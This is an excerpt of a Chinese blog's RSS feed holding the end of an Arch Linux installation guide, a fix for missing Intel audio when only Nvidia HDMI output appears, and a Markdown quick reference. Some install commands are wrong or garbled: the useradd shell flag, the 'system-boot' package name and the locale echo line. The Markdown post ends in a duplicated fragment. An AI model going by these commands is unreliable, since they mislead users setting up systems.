&lt;h3&gt;设置用户与密码&lt;/h3&gt;
&lt;p&gt;root 用户密码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建新用户：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;useradd -m -g wheel -c /usr/bin/fish ${user} # 如果有 fish 的话输入 -c 及以后内容
passwd ${user}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置 sudo&lt;/h3&gt;
&lt;p&gt;使用 visudo：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;visudo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 /+wheel，定位到有 NO PASSWD 那一行。然后 i 到编辑模式，把 # 去掉后输入 :wq 退出。&lt;/p&gt;
&lt;p&gt;（vim 的基本使用方法后面不再详细介绍）&lt;/p&gt;
&lt;h3&gt;本地化&lt;/h3&gt;
&lt;p&gt;设置语言：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /etc/locale.gen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自己把 en_US.UTF-8 UTF-8 那一行和 zh_CN.UTF-8 UTF-8 那一行的 # 去掉：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;locale-gen
echo.UTF-8 &gt;&gt; /etc/locale.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装引导&lt;/h3&gt;
&lt;h4&gt;使用 Grub2&lt;/h4&gt;
&lt;p&gt;grub2 应该是以前最常用的引导管理器了。历史悠久，兼容性好，国内资料也很多，有问题也方便解决。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S grub efibootmgr
grub-install
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用 system-boot&lt;/h4&gt;
&lt;p&gt;system-boot 主要针对 gpt 分区与固态硬盘，是 systemd 组件的一部分，继承其简单粗暴的风格。&lt;/p&gt;
&lt;p&gt;安装 bootloader：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S system-boot
bootctl install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bootctl 默认 path=/boot，如果不是需要指定，使用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bootctl install --path=$dir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置 loader.conf：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /boot/loader/loader.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;default arch
timeout 3 # 如果嫌弃的话可以注释掉这行
editor 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数非常的简单明了，启动也非常的快。&lt;/p&gt;
&lt;p&gt;接下来配置 /boot/loader/entries/arch.conf，创建并输入：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;title arch
linux /vmlinuz-linux
initrd /initramfs-linux.img
options root=/dev/nvme0n1p3 rw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：这里的 /dev/nvme0n1p3 是根目录，需要依照实际情况更改。&lt;/p&gt;
&lt;p&gt;更新引导：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bootctl update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 UEFI 的有兴趣的也可以用 efibootmgr 手动引导和 UEFInd 管理器，这里不再赘述。&lt;/p&gt;
&lt;h3&gt;安装桌面环境（以 KDE 为例）&lt;/h3&gt;
&lt;p&gt;先安装 Xorg 和驱动、中文字体：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S xorg
pacman -S xf86-video-intel vulkan-intel mesa alsa alsa-utils pulseaudio pulseaudio-bluetooth cups
pacman -S noto-fonts noto-fonts-extra noto-fonts-emoji noto-fonts-cjk adobe-source-code-pro-fonts adobe-source-sans-fonts adobe-source-serif-fonts adobe-source-han-sans-cn-fonts adobe-source-han-sans-hk-fonts adobe-source-han-sans-tw-fonts adobe-source-han-serif-cn-fonts wqy-zenhei wqy-microhei
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再安装 KDE：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S plasma sddm konsole dolphin kwrite
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装网络管理器&lt;/h3&gt;
&lt;p&gt;KDE 和 GNOME 默认集成 NetworkManager：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -S networkmanager
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;启动服务&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;systemctl enable sddm
systemctl enable NetworkManager
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后重启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;exit
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;欢迎使用 Arch Linux。&lt;/p&gt;</content:encoded><h:img src="/_astro/image.KHiAD8H-.png"/><enclosure url="/_astro/image.KHiAD8H-.png"/></item><item><title>解决Linux只有Nvidia HDM声卡输出的现象</title><link>https://blog.candlest.cc/blog/linux/nvidia-audio</link><guid isPermaLink="true">https://blog.candlest.cc/blog/linux/nvidia-audio</guid><description>这篇文章在 CSDN 未经我同意变成付费文章了。</description><pubDate>Sat, 14 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;解决Linux只有Nvidia HDM声卡输出的现象&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这篇文章在 CSDN 未经我同意变成付费文章了。
原文地址：https://blog.csdn.net/weixin_43594034/article/details/104855855?spm=1001.2014.3001.5501&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;起因&lt;/h3&gt;
&lt;p&gt;前几天刚刚重装了&lt;code&gt;ArchLinux&lt;/code&gt;然后安装桌面后发现声卡不能用，一直在网上找教程找了几天，问题都对不上。倒是在&lt;code&gt;archlinuxcn&lt;/code&gt;论坛找到了一个相同问题的，但是那个帖子莫得回复。&lt;/p&gt;
&lt;p&gt;就在我苦恼的时候，我想起还有&lt;code&gt;Google&lt;/code&gt;这个东西，立马&lt;code&gt;aplay -l&lt;/code&gt;一下，把输出放到&lt;code&gt;Google&lt;/code&gt;就硬搜。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;aplay -l
**** List of PLAYBACK Hardware Devices ****
card 1: NVidia [HDA NVidia], device 3: HDMI 0 [HDMI 0]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 7: HDMI 1 [HDMI 1]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 8: HDMI 2 [HDMI 2]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
card 1: NVidia [HDA NVidia], device 9: HDMI 3 [HDMI 3]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实还是毫无结果，但是我在一个帖子里发现了一个东西：&lt;code&gt;sof-audio-pci&lt;/code&gt;。这是一个内核模块，我的电脑只显示&lt;code&gt;Nvidia&lt;/code&gt;声卡的原因似乎就因为这个。&lt;/p&gt;
&lt;p&gt;真棒！&lt;/p&gt;
&lt;h3&gt;解决方案&lt;/h3&gt;
&lt;p&gt;上面水了那么多字数，其实下面才是解决方案：&lt;/p&gt;
&lt;p&gt;编辑&lt;code&gt;Linux Kernel&lt;/code&gt;启动项：这里以使用人数最多的&lt;code&gt;Grub2&lt;/code&gt;为例子：&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;/etc/default/grub&lt;/code&gt;里编辑，在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/code&gt;加上&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;snd_hda_intel.dmic_detect=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后保存退出，重新生成&lt;code&gt;Grub Config&lt;/code&gt;：（注意提权）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grub-mkconfig -o /boot/grub/grub.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启一下，就能看到&lt;code&gt;Intel&lt;/code&gt;的声卡控制芯片了～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/audio-kde.CQFLU6Er_1CDz0p.webp&quot; alt=&quot;audio&quot;&gt;&lt;/p&gt;
&lt;h3&gt;日后谈&lt;/h3&gt;
&lt;p&gt;注意一下，我的电脑只是&lt;code&gt;aplay -l&lt;/code&gt;显示不出设备，但是在&lt;code&gt;lspci | grep audio&lt;/code&gt;能够显示出来&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;00:1f.3 Multimedia audio controller: Intel Corporation Cannon Lake PCH cAVS (rev 10)
&lt;/code&gt;&lt;/pre&gt;</content:encoded><h:img src="/_astro/audio-kde.CQFLU6Er.png"/><enclosure url="/_astro/audio-kde.CQFLU6Er.png"/></item><item><title>Markdown快速入门</title><link>https://blog.candlest.cc/blog/how-to-use-md</link><guid isPermaLink="true">https://blog.candlest.cc/blog/how-to-use-md</guid><description>Markdown 是一种轻量级标记语言，允许人们使用易读易写的纯文本格式编写文档。</description><pubDate>Sat, 17 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Markdown快速参考&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt; 是一种轻量级标记语言，它允许人们使用易读易写的纯文本格式编写文档。
&lt;strong&gt;Markdown&lt;/strong&gt; 语言在 2004 由约翰·格鲁伯（英语：John Gruber）创建。
&lt;strong&gt;Markdown&lt;/strong&gt; 编写的文档可以导出 &lt;code&gt;.HTML&lt;/code&gt; 、&lt;code&gt;.Word&lt;/code&gt;、&lt;code&gt;.png/jpg&lt;/code&gt;、&lt;code&gt;.PDF&lt;/code&gt;、&lt;code&gt;.Epub&lt;/code&gt; 等多种格式的文档。
&lt;strong&gt;Markdown&lt;/strong&gt; 编写的文档后缀为 &lt;code&gt;.md&lt;/code&gt;, &lt;code&gt;.markdown&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;——摘自&lt;a href=&quot;https://www.runoob.com/markdown/md-tutorial.html&quot;&gt;菜鸟教程&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Markdown&lt;/strong&gt;文档分为两个部分：&lt;strong&gt;标记&lt;/strong&gt;与&lt;strong&gt;文字&lt;/strong&gt;。&lt;strong&gt;标记&lt;/strong&gt;包括&lt;strong&gt;标题&lt;/strong&gt;（#）、&lt;strong&gt;渲染&lt;/strong&gt;（*,~,_）等。&lt;strong&gt;文字&lt;/strong&gt;就是没有特殊含义的字，嗯，就是普通的字符。&lt;/p&gt;
&lt;p&gt;下面是一个例子，帮助你更好的了解&lt;strong&gt;markdown&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# 我是标题
&amp;#x3C;!--我是注释--&gt;
**我是粗体字符**
__我也是粗体字符__
~~我被删除了~~
我是平凡的字符
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;标记&lt;/strong&gt; + &lt;strong&gt;文字&lt;/strong&gt;，就组成了&lt;strong&gt;Markdown&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;标题&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# 一号标题
## 二号标题
### 三号标题
#### 四号标题
##### 五号标题
###### 六号标题
&amp;#x3C;!--没有七号标题！--&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;文字&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;普通字体
*斜体文本*
_斜体文本_
**粗体文本**
__粗体文本__
***粗斜体文本***
___粗斜体文本___
~~删除线~~
`行内内嵌代码`
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;分隔符&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;***
* * *
*****
- - -
----------
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;块&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;​```C
	#include &amp;#x3C;stdio.h&gt; //这是一段C语言代码。
​```
&gt; 我是引用
&gt;&gt; 二级引用
&gt;&gt;&gt; 三级引用

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;列表&lt;/h4&gt;
&lt;p&gt;无序列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;* 第一项
* 第二项
* 第三项

+ 第一项
+ 第二项
+ 第三项


- 第一项
- 第二项
- 第三项
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有序列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. 第一项
2. 第二项
3. 第三项
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内嵌列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. 第一项：
    - 第一项嵌套的第一个元素
    - 第一项嵌套的第二个元素
2. 第二项：
    - 第二项嵌套的第一个元素
    - 第二项嵌套的第一个元素
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;链接与图片&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;这是一个链接 [bing](https://www.bing.com)
这是一个图片 ![bing](http://a2.att.hudong.com/36/46/05300000993302129747461208128.jpg)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个链接 &lt;a href=&quot;https://www.bing.com&quot;&gt;bing&lt;/a&gt;
这是一个图片 &lt;img src=&quot;https://i-blog.csdnimg.cn/blog_migrate/6038998177ec70ef9134eb5684895453.png&quot; alt=&quot;bing&quot;&gt;&lt;/p&gt;
&lt;p&gt;Markdown 还没有办法指定图片的高度与宽度，如果你需要的话，你可以使用普通的 &amp;#x3C;img&gt; 标签。&lt;/p&gt;
&lt;p&gt;表格&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;|  表头   | 表头  |
|  ----  | ----  |
| 单元格  | 单元格 |
| 单元格  | 单元格 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;|  表头   | 表头  |
|  ----  | ----  |
| 单元格  | 单元格 |
| 单元格  | 单元格 |&lt;/p&gt;
&lt;h4&gt;HTML语法扩展&lt;/h4&gt;
&lt;p&gt;目前支持的 HTML 元素有：&lt;code&gt;&amp;#x3C;kbd&gt; &amp;#x3C;b&gt; &amp;#x3C;i&gt; &amp;#x3C;em&gt; &amp;#x3C;sup&gt; &amp;#x3C;sub&gt; &amp;#x3C;br&gt;&lt;/code&gt;等，自行了解&lt;code&gt;HTML&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;#x3C;u&gt;下划线&amp;#x3C;/u&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| 单元格  | 单元格 |&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#### HTML语法扩展

目前支持的 HTML 元素有：`&amp;#x3C;kbd&gt; &amp;#x3C;b&gt; &amp;#x3C;i&gt; &amp;#x3C;em&gt; &amp;#x3C;sup&gt; &amp;#x3C;sub&gt; &amp;#x3C;br&gt;`等，自行了解`HTML`

```markdown
&amp;#x3C;u&gt;下划线&amp;#x3C;/u&gt;
&lt;/code&gt;&lt;/pre&gt;</content:encoded><h:img src="/_astro/example.LvO-NXer.png"/><enclosure url="/_astro/example.LvO-NXer.png"/></item></channel></rss>